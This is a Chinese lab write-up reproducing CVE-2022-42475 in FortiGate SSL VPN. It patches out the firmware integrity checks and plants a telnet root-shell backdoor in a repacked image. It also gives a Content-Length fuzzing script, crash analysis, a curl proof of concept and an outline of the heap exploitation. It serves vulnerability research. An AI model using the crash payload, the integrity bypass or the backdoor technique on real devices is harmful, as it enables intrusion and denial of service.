文章

CVE-2022-42475 FortiGate sslvpn堆溢出 复现

关于SSL VPN

1
2
3
4
5
6
7
8
用户端设备
   |
   | (通过互联网)
   |
SSL VPN服务器 --- 认证服务器
   |
企业内部网络(文件服务器、应用程序等)

SSL(安全套接字层)协议 SSL VPN利用SSL/TLS协议来加密客户端和服务器之间的数据传输,确保数据的隐私和完整性。 SSL VPN建立一个“隧道”,通过它安全地传输数据。这个隧道可以是基于浏览器的(适用于Web应用程序)或基于客户端的(提供更全面的网络访问)

当SSLVPN功能在防火墙中时,需要配置策略。 进入端口是fortigate虚拟的,输出端口任意,配置好准入用户和IP地址,和输出的IP地址范围,就可以了

固件下载和环境启动

fortigate固件镜像下载站:https://support.fortinet.com/Download/FirmwareImages.aspx 虚拟机下载:https://support.fortinet.com/Download/VMImages.aspx

下载任意镜像需要拥有一个fortinet旗下的正在运行的产品。这里采用的方法是下载一个防火墙的虚拟机镜像运行,用账户登陆的方式绑定license,这样账户就能访问下载页面了,虚拟机镜像默认初始账号admin,密码为空

飞塔CLI指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看IP
get system interface physcial

# 端口
show system interface port1


# 进入配置模式
config system interface
	# 配置端口和设置IP
	edit port1
	set ip 192.168.1.1 255.255.255.0
	# 保存退出
	end

# 开启Rest API:(方便后期查看攻击日志)
config log settingset rest-api-set enableset rest-api-get enableend

license获取 直接运行放到txt即可 https://github.com/rrrrrrri/fos-license-gen

固件重打包和植入后门

我的主机是windows11,虚拟机ubuntu20.04,这里演示的版本为FGT_VM64-v7.2.1.F-build1254-FORTINET

我参照https://github.com/rrrrrrri/fgt-auto-repack?tab=readme-ov-file 写了一个脚本进行重打包配置,放在这一节的末尾

提取固件

如果选择的是VMware的虚拟机版本,VMware会在第一次启动以后生成文件系统硬盘,将这个硬盘挂载到ubuntu虚拟机上

image.png

image.png

这里挂载的硬盘是sdb1,后续要替换rootfs.gz的话要将其挂载到其他地方

1
2
mkdir tmp
sudo mount /dev/sdb1 ./tmp

文件系统里有几个”bin.tar.xz”, “migadmin.tar.xz”, “node-scripts.tar.xz”, “usr.tar.xz”压缩包,需要用到文件系统里的工具进行解压

1
2
3
4
5
6
7
8
9
# 解压rootfs.gz
gzip -d rootfs.gz
mkdir fs
cd fs
sudo cpio -idmv < ../rootfs 

# 解压bin
sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar

植入后门

重打包的目的是放入后门,原本的文件系统没有sh,而且也不是常规的linux shell,同时我们如果要对存在sslvpnd进行调试也需要gdbserver。

静态的busybox和gdbserver就不再赘述,放进./bin即可

创建sh命令,这样就能拿到一个linux shell

1
2
sudo rm -rf ./sh
sudo ln -s /bin/busybox sh

为了方便使用,需要用telnet起一个持久化的shell,需要找一个命令触发点

diagnose hardware smartctl命令会执行/bin/smartctl,将这个命令替换为下面的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//gcc -g shell.c -static -o shellcode
#include <stdio.h>

int tcp_port = 22;

void shell() {
  system("/bin/busybox ls", 0, 0);
  system("/bin/busybox id", 0, 0);
  system(
      "/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 "
      "-p 22",
      0, 0);
  system("/bin/busybox sh", 0, 0);
  return;
}

int main(int argc, char const *argv[]) {
  shell();
  return 0;
}
1
2
cp ./shellcode ./bin/smartctl
sudo chmod 755 busybox gdbserver smartctl sh

固件自检

重打包之前,先分析一下fortigate的自检逻辑

1、由内核文件flatkc解压 rootfs.gz,其中fgt_verify函数校验文件系统各信息,判断后执行/sbin/init

2、/sbin/init 解压文件系统,调用执行 /bin/init

3、/bin/init 会进行多次的系统校验,校验失败则重启系统

首先是flatkc,主要的校验点如下

1
.rodata:FFFFFFFF808F3591 2F 73 62 69 6E 2F 69 6E 69 74+aSbinInit db '/sbin/init',0 

image.png

其次就是进入系统时执行的init 搜索启动时的字符串System is starting...

image.png

正好是main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
__int64 __fastcall main(unsigned int a1, const char **a2, char **a3)
{
  int v5; // r8d
  int v6; // r9d
  const char *v7; // rax
  int v8; // edx
  bool v9; // cf
  bool v10; // zf
  const char *v11; // rsi
  __int64 v12; // rcx
  const char *v13; // rdi
  int v14; // eax
  int v15; // r12d
  int v16; // edx
  int v17; // ecx
  int v18; // r8d
  int v19; // r9d
  int v20; // r9d
  const char *v21; // rsi
  int v22; // edx
  int v23; // ecx
  int v24; // r8d
  int v25; // r9d
  int v26; // r9d
  int v27; // r9d
  const char *v28; // rax
  __int64 v29; // rdi
  int v30; // r9d
  int v31; // edx
  int v32; // ecx
  int v33; // r8d
  int v34; // r9d
  const char *v36; // [rsp-8h] [rbp-58h]
  struct timespec requested_time; // [rsp+0h] [rbp-50h] BYREF
  char *argv[8]; // [rsp+10h] [rbp-40h] BYREF

  argv[3] = __readfsqword(0x28u);
  sub_451F90("main");
  sub_44D8B0("main", 2567LL);
  nullsub_93656();
  sub_44D920(a2);
  if ( a1 > 1 && !strcmp(a2[1], "return99") )
    exit(99);
  sub_17C6090();
  qword_469A218 = 0LL;
  qword_469A230 = sub_44F710;
  qword_469A258 = 0LL;
  qword_469A2A0 = qword_BD164C0 + 100;
  qword_469A270 = sub_44F750;
  qword_469A298 = 0LL;
  qword_469A2B0 = sub_44E080;
  sub_17C60D0(&unk_469A280);
  qword_469A2D8 = 0LL;
  qword_469A2F0 = sub_44FC30;
  qword_469A2E8 = 0LL;
  sub_17C6150(&unk_469A2C0, qword_BD164C0 + 6000);
  v7 = *a2;
  LOBYTE(v8) = strcmp(*a2, "/bin/init") != 0;
  v9 = 0;
  v10 = v8 == 0;
  if ( !v8 )
  {
    argv[0] = "/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    argv[1] = 0LL;
    execve("/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", argv, 0LL);
    v7 = *a2;
  }
  v11 = v7;
  v12 = 9LL;
  v13 = "/bin/init";
  do
  {
    if ( !v12 )
      break;
    v9 = *v11 < *v13;
    v10 = *v11++ == *v13++;
    --v12;
  }
  while ( v10 );
  if ( (!v9 && !v10) != v9 )
    return sub_448BE0(a1, a2);
  t_print("\nSystem is starting...\n", v11, v8, v12, v5, v6, requested_time.tv_sec);
  fflush(stdout);
  sub_206F550();
  reboot(0);
  close(0);
  close(1);
  close(2);
  sub_44DE70(0);
  chdir("/");
  setsid();
  v14 = sub_44DDE0("/dev/null");
  v15 = v14;
  if ( v14 >= 0 )
  {
    dup2(v14, 0);
    dup2(v15, 1);
    dup2(v15, 2);
  }
  if ( sub_290D6A0(1024LL, 1LL) < 0 )
  {
    t_print("could not setup epoll in init.\n", 1, v16, v17, v18, v19, requested_time.tv_sec);
  }
  else if ( sub_452BF0() >= 0 )
  {
    sub_450A70();
    sub_1F6C7A0(16, "%s()-%d: %s: run_initlevel(SYSINIT)\n\n", "main", 2649, "main", v20, requested_time.tv_sec);
    sub_44E2C0(1LL);
    sub_451660();
    sub_450BB0();
    if ( sub_44F230() )
      do_halt();
    if ( !sub_44F190() )
      do_halt();
    if ( sub_2744CC0() )
    {
      sub_2824D70();
      if ( sub_44DFB0("/bin/fips_self_test") )
        do_halt();
    }
    else
    {
      if ( sub_44F1E0() )
        do_halt();
      sub_27804D0();
    }
    v21 = "/tmp/terminfo";
    sub_2A18D80("/data/etc/terminfo");
    sub_451270("/data/etc/terminfo", "/tmp/terminfo");
    sub_451310();
LABEL_22:
    sub_21A3DA0(0LL);
    sub_21F39A0();
    if ( nCfg_debug_zone )
      sub_1F6C6F0(nCfg_debug_zone + 20352);
    else
      t_print("Error debug zone is not initialized\n", v21, v22, v23, v24, v25, requested_time.tv_sec);
    if ( dword_46990A8 )
    {
      dword_46990A8 = 0;
      sub_21F3A50(256LL);
    }
    sub_1F6C7A0(16, "%s()-%d: %s: run_initlevel(FWINIT)\n\n", "main", 2756, "main", v26, requested_time.tv_sec);
    sub_44E2C0(2LL);
    sub_1F6C7A0(16, "%s()-%d: %s: run_initlevel(ZEBOSINIT)\n\n", "main", 2759, "main", v27, requested_time.tv_sec);
    sub_44E2C0(3LL);
    requested_time.tv_sec = 2LL;
    requested_time.tv_nsec = 0LL;
    while ( nanosleep(&requested_time, &requested_time) == -1 && *__errno_location() == 4 )
      ;
    sub_450CE0();
    while ( 1 )
    {
      dword_46990A0 = sub_20BC540();
      if ( !dword_46990A0 )
        break;
      sub_1F6C7A0(16, "%s()-%d: %s: run_initlevel(ONCE)\n\n", "main", 2783, "main", v34, requested_time.tv_sec);
      sub_44E2C0(4LL);
      v10 = sub_2744CC0() == 0;
      v28 = key;
      if ( !v10 )
        v28 = " in FIPS-CC mode";
      fgtlog_vf_text(36864, 255, 255, 32009, 0, "msg=\"Fortigate started%s\"", v28);
      v29 = 32LL;
      sub_28F8D10(32LL, 0LL, 0LL, 0LL);
      v21 = v36;
      if ( sub_451380() )
        goto LABEL_38;
      sub_451080(32LL);
      if ( dword_46990A8 )
        goto LABEL_22;
      v21 = "%s()-%d: %s: run_initlevel(FWDOWN)\n\n";
      sub_1F6C7A0(16, "%s()-%d: %s: run_initlevel(FWDOWN)\n\n", "main", 2807, "main", v30, requested_time.tv_sec);
      v29 = 8LL;
      sub_44E2C0(8LL);
      if ( !dword_46990A4 )
        goto LABEL_38;
      dword_46990A4 = 0;
    }
    v21 = 0LL;
    v29 = "unknown operation mode(%d)\n";
    t_print("unknown operation mode(%d)\n", 0, v31, v32, v33, v34, requested_time.tv_sec);
LABEL_38:
    sub_44F3A0(v29, v21);
  }
  return 0xFFFFFFFFLL;
}

dohalt导致系统停止,对应的if判断就是校验函数

sub_44F230:函数内部执行了 ioctl 和 socket 等函数,向内核发送或接收某些信息

sub_44F190:fork一个子进程进程,开头进行异或操作得到/.fgtsum,然后fopen,应该是校验 image.png

sub_44DFB0(“/bin/fips_self_test”):同样fork一个子进程,去执行/bin/fips_self_test

sub_44F1E0:同样fork一个子进程,对rootfs.gz做了对比校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_BOOL8 __fastcall sub_277FB40(unsigned int a1)
{
  __int64 v1; // rax
  __int64 v2; // r12
  char *v4; // [rsp+8h] [rbp-138h] BYREF
  char v5[268]; // [rsp+10h] [rbp-130h] BYREF
  __int16 v6; // [rsp+11Ch] [rbp-24h]
  char v7; // [rsp+11Eh] [rbp-22h]
  unsigned __int64 v8; // [rsp+128h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  qmemcpy(v5, &off_35CECE0, sizeof(v5));
  v6 = 256;
  v7 = 0;
  v4 = v5;
  v1 = d2i_RSAPublicKey(0LL, &v4, 270LL);
  if ( v1 && (v2 = v1, !sub_2745E90("/data/rootfs.gz", "/data/rootfs.gz.chk", a1, v1)) )
    return sub_2745E90("/data/flatkc", "/data/flatkc.chk", a1, v2) == 0;
  else
    return 0LL;
}

实测有影响效果的函数是fgtsum和rootfs.gz校验这2个函数

patch思路和启动

对于init,直接将 do_halt 函数的第一条指令改为 leave ret,这样就算无法通过验证,也不会执行关机操作。或者对jz或者jnz进行取反。修改成下面这样即可

image.png

/sbin/init里有对文件大小的校验,这里的思路是修改fgt_verify的返回值,同时修改字符串/sbin/init/bin/init\x00,直接执行/bin/init,这样就我们对文件系统就不用重新再用工具打包(bin等xz加密压缩包),打包成gz即可

这个修改在动调中完成,修改防火墙虚拟机的vmx(关机状态下修改)

1
2
3
4
5
6
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"

在ubuntu中起gdb进行调试,gdbscript如下 0xffffffff807ac117 是 call fgt_verify的地址 sleep10是因为要等待虚拟机启动后,再attach

1
2
3
4
5
6
7
8
file ./flatkc.elf
b *0xffffffff807ac117
python import time; time.sleep(10) 
target remote 192.168.110.174:12345
c
patch string 0xFFFFFFFF808F3591 "/bin/init"
patch byte 0xFFFFFFFF808F3591+9 0x00
c

执行(这里我用pwndbg会连接不上,换用gef很流畅)

1
sudo gdb -x gdbscript

立即启动虚拟机即可 登录后执行diagnose hardware smartctl

重打包脚本

把busybox和gdbserver和原本的rootfs.gz放到ori中,shell.c和init.patched(文件名不能改动)放到脚本同目录下

其余和github项目相同,运行后会得到一个rootfs.gz(大概110多MB),放到挂载的./tmp目录中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
# repack.py
import os

ORIGINAL = "./ori"
WORKING = "./working_temp"
BACKUP = "./backup"

def clean():
    try:
        os.system("sudo rm -rf %s" % WORKING)
    except Exception as e:
        print("Error: clean failed")
        print(e)
        exit(0)

def check_env():
    try:
        print("[*] Checking env")
        if not os.path.isdir(ORIGINAL):
            print("Error: missing directory \"%s\"" % ORIGINAL)
            exit(0)
        if not os.path.isfile("%s/rootfs.gz" % ORIGINAL):
            print("Error: missing file \"%s/rootfs.gz\"" % ORIGINAL)
            exit(0)
        if not os.path.isfile("%s/busybox" % ORIGINAL):
            print("Error: missing file \"busybox\"")
            exit(0)
        if not os.path.isfile("/bin/busybox"):
            print("Error: missing file \"/bin/busybox\"")
            exit(0)
        
        os.mkdir(WORKING)
        if not os.path.isdir(WORKING):
            print("Error: cannot create directory \"%s\"" % WORKING)
            exit(0)
        
        os.mkdir(BACKUP)
        if not os.path.isdir(BACKUP):
            print("Error: cannot create directory \"%s\"" % BACKUP)
            exit(0)
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def unpack_rfs():
    try:
        print("[*] Unpacking rootfs.gz")
        os.system("cp %s/rootfs.gz %s" % (ORIGINAL, WORKING))
        os.system("cd %s && gzip -d ./rootfs.gz" % WORKING)
        os.system("cd %s && sudo cpio -idm < ./rootfs" % WORKING)

        if not os.path.isfile("%s/bin.tar.xz" % WORKING):
            print("Error: unpack failed")
            clean()
            exit(0)
        
        os.system("rm -rf %s/rootfs" % WORKING)
        
        key_files = ["bin.tar.xz", "migadmin.tar.xz", "node-scripts.tar.xz", "usr.tar.xz"]
        for _file in key_files:
            os.system("sudo cp %s/%s %s/%s.tmpbak" % (WORKING, _file, WORKING, _file))
            os.system("cd %s && sudo chroot . /sbin/xz --check=sha256 -d /%s" % (WORKING, _file))
            os.system("cd %s && sudo chroot . /sbin/ftar -xf /%s" % (WORKING, _file[:-3]))
            os.system("sudo rm -rf %s/%s" % (WORKING, _file[:-3]))
            os.system("sudo mv %s/%s.tmpbak %s/%s" % (WORKING, _file, WORKING, _file))
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def patch_init():    # TODO: Patch it manually for now!
    try:
        os.system("cp %s/bin/init ./" % WORKING)
        print("[*] auto-patch is not supported in this version.")
        print("[*] please patch \"./init\", disable rootfs check manually.\n    And rename it \"./init.patched\"")
        print("[*] input \"DONE\" when finish. Or \"EXIT\" to exit.")
        while True:
            _check = input()
            if _check == "DONE":
                if not os.path.isfile("./init.patched"):
                    print("Error: cannot find patched file")
                    clean()
                    exit(0)
                return
            elif _check == "EXIT":
                exit(0)
            else:
                print("[!] Invalid input!")
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

def repack():
    try:
        print("[*] Repacking")
        os.system("sudo mv %s/bin/init %s/" % (WORKING, BACKUP))
        os.system("sudo mv %s/bin/smartctl %s/" % (WORKING, BACKUP))
        os.system("sudo mv ./init.patched %s/bin/init" % WORKING)
        os.system("gcc -g shell.c -static -o shellcode")
        os.system("sudo cp ./shellcode %s/bin/smartctl" % WORKING)
        os.system("sudo chmod 755 %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
        os.system("sudo chown root:root %s/bin/init %s/bin/smartctl" % (WORKING, WORKING))
        
        os.system("sudo cp %s/busybox %s/bin/busybox" % (ORIGINAL, WORKING))
        os.system("sudo cp %s/gdbserver %s/bin/gdbserver" % (ORIGINAL, WORKING))
        os.system("sudo chmod 777 %s/bin/busybox" % WORKING)
        os.system("sudo chmod 777 %s/bin/gdbserver" % WORKING)
        os.system("sudo rm -rf %s/bin/sh" % WORKING)
        os.system("cd %s/bin && sudo ln -s /bin/busybox sh" % WORKING)

        # os.chdir('%s' % WORKING)
        # os.system("sudo chroot . /sbin/ftar -cf bin.tar ./bin")
        # os.system("sudo rm -rf bin.tar.xz")
        # os.system("sudo chroot . /sbin/xz --check=sha256 -e bin.tar")
        # os.system("sudo rm -rf bin/")
        # os.chdir("../")

        os.system("cd %s && sudo sh -c 'find . | cpio -H newc -o > ../rootfs'" % WORKING)
        os.system("sudo chmod 777 ./rootfs")
        os.system("cat ./rootfs | gzip > ./rootfs.gz")
        os.system("sudo rm -rf ./rootfs ./init ./shellcode")
    except Exception as e:
        print("Error: %s" % e)
        exit(0)

if __name__ == "__main__":
    print("FortiGate VM 7.2.x automatic repack script v0.2")
    print("Author: CataLpa @ 20230704")

    check_env()
    unpack_rfs()
    patch_init()
    repack()
    clean()

    print("[+] Done!")

KVM版本搭建

如果你选择的是fortgate KVM虚拟机,可以按照下面的思路实现调试环境

使用guestfish来获取文件系统

1
2
3
4
5
6
sudo guestfish --rw -a ./fortios.qcow2
run 
mount /dev/sda1 /
copy-out /rootfs.gz /home/ef4tless/Desktop/7.0.0ALI/
copy-out /flatkc /home/ef4tless/Desktop/7.0.0ALI/
vmlinux-to-elf flatkc flatkc_elf

得到rootfs后其余步骤和VMX相同

先安装virt-machine,新建KVM虚拟机,可参照官方文档,编辑KVM虚拟机设置

1
2
3
4
5
6
7
8
9
10
11
12
13
export EDITOR=gedit
virsh edit Fortigate-7.2.1 # 虚拟机名

将

<domain type='kvm'>

改成

<domain type='qemu' xmlns:qemu='http://libvirt.org/schemas/domain/qemu/1.0'>
    <qemu:commandline>
        <qemu:arg value='-s'/>
    </qemu:commandline>

再次启动,即可用gdb进行内核级调试

1
2
3
target remote :1234 
hbreak * 0xffffffff807d1cd4 
c 

如果遇到创建虚拟机报错

image-20230417175113302

可能是guestfish占用了镜像资源,也有可能是镜像没有运行权限

将静态编译的工具放入.bin/文件夹里,打包镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
cd fs
sudo chroot . /sbin/ftar -cf bin.tar ./bin
sudo rm -rf bin.tar.xz
sudo chroot . /sbin/xz --check=sha256 -e bin.tar
sudo rm -rf bin/
mkdir ../make
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../make/rootfs.gz


sudo guestfish --rw -a ./fortios.qcow2
run
mount /dev/sda1 /
copy-in /home/ef4tless/Desktop/7.0.0ALI/make/rootfs.gz /

关于jemalloc

【内存机制分析】探索Android中的新版本Jemalloc堆重分配器

利用jemalloc内存分配,控制Firefox堆

这部分比较复杂,暂时还没研究

漏洞分析

由于漏洞是SSLVPN的漏洞,要先配置SSLVPN服务,其实就是按照提示的配就行了(不用单独去找,缺少什么它这个都能在界面直接创建) image.png

只要最后能访问即可

image.png

如果默认绑定的许可证,登陆的时候如果是用注册的fortinet账户进行登录的,属于试用版 License,不支持 HTTPS 的一些加密

可能会存在以下情况,最好的办法就是换用正式版的许可证,参考https://wzt.ac.cn/2023/03/02/fortios_padding/进行许可证生成,或者也可以用下面的方法

image-20230406110454530

由于SSL1.0不被大部分浏览器所支持,需要添加一个配置文件

1
export OPENSSL_CONF=/home/ef4tless/openssl_allow_tls1.0.cnf
1
2
3
4
5
6
7
8
9
10
11
# openssl_allow_tls1.0.cnf
openssl_conf = openssl_init

[openssl_init]
ssl_conf = ssl_sect

[ssl_sect]
system_default = system_default_sect

[system_default_sect]
CipherString = DEFAULT@SECLEVEL=1

然后就能访问了

image-20230417193727934

这是一个未授权漏洞,所以漏洞的触发应该来自接口的请求

针对content_length参数可能存在的漏洞进行fuzz的脚本

使用ssl模块的_create_unverified_context()来创建一个不验证SSL证书的上下文,用于处理HTTPS连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket
import ssl

path = "/remote/login".encode()
content_length = ["0", "-1", "2147483647", "2147483648", "-0", "4294967295", "4294967296", "1111111111111", "22222222222"]

# 2147483647 int max
# 2147483648 max+1 -> -2147483648
# 4294967295 unsigned int max
# 4294967296 max+1 -> 0
# 1111111111111
# 2222222222222

for CL in content_length:
    print("[+] "+str(CL)+" :")
    try:
        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.121.138\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect(("192.168.121.138", 10443))
        _default_context = ssl._create_unverified_context()
        client = _default_context.wrap_socket(client)
        client.sendall(data)
        res = client.recv(1024)
        if b"HTTP/1.1" not in res:
            print("Error detected")
            print(CL)
            break
    except Exception as e:
        print(e)
        print("Error detected")
        print(CL)
        break

能得到,其值为2147483647时发生了报错

接下来就是调试,去找它的崩溃点是怎样出发的

我们能从外访问到内部的端口是有限的,这里直接起任意端口的gdbserver会访问不到,这里借用 ssh 22 端口或 telnet 的 23 端口 telnet得先在终端里开启(7.2版本开始不能在web界面启用)

1
2
# fortigate 连续几次,telnetd会重启
killall telnetd && gdbserver 192.168.121.138:23 --attach `pidof sslvpnd`

直接c,看栈回溯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) bt
#0  0x00007f346ffa976d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#1  0x000000000164e5d9 in ?? ()
#2  0x0000000001785ac2 in ?? ()
#3  0x000000000177f48d in ?? ()
#4  0x0000000001780b40 in ?? ()
#5  0x0000000001780c1e in ?? ()
#6  0x0000000001781131 in ?? ()
#7  0x00000000017823dc in ?? ()
#8  0x0000000001783762 in ?? ()
#9  0x0000000000448ddf in ?? ()
#10 0x0000000000451eba in ?? ()
#11 0x000000000044ea1c in ?? ()
#12 0x0000000000451128 in ?? ()
#13 0x0000000000451a51 in ?? ()
#14 0x00007f346fe72deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#15 0x0000000000443c7a in ?? ()

发现报错点来自0x164e5d9里的memset,查看0x1785ac2,找到pool_malloc函数 image.png

这次我们在memset下断点,看它的函数参数,当发送完以后,最后一次memset的dx为0xffffffff80000000

image.png

memset的a2参数也是pool_malloc的a2参数,这个rsi由esi扩展而来,而esi又是rax+1,结合我们输入的0x7fffffff, 不难得到0x7fffffff加 1 之后就是0x80000000,符号位为1表示负数,扩展为0xffffffff80000000,这将导致整数越界参数为负数。

image.png

那相应的,如果输入的是0x100000000,eax将存储0x00000000,再+1,符号位为0高位扩展0,将得到0x0000000000000001

POC如下,115964116992为0x1b00000000

1
2
perl -e 'print "A"x100000' > payload2
curl --data-binary @payload2 -H 'Content-Length: 115964116992' -vik 'https://192.168.121.138:10443/remote/login'

memset一般是在堆块创建完成后用来清空堆内容,这里如果memset清空范围为1,那堆的大小也应该是最小的大小 而下文的memcpy则是固定长度复制0x1FFELL,导致堆溢出

image.png

直接c,连续打2个poc就能得到程序执行流被劫持

image.png

漏洞利用

这是fortinet堆溢出的一张利用图

在 FortiGate 上堆溢出会覆盖堆中某些关键结构体中的数据,具体来说是 HTTP 请求的 SSL 结构体指针。 在触发漏洞之前先发送很多正常的 HTTP 请求,这样在堆中就会留下很多 SSL 结构,再触发堆溢出去覆盖这些结构体,当程序调用被覆盖的结构体中 handshake_func 指针时,我们就能直接劫持程序控制流。

image.png

参考文章/拓展阅读

https://forum.butian.net/share/2166 https://i3r0nya.cn/wiki/note/reverse/cve-2022-42475/#ret2mprotect https://ioo0s.art/2023/02/09/CVE-2022-42475/

本文由作者按照 CC BY 4.0 进行授权

热门标签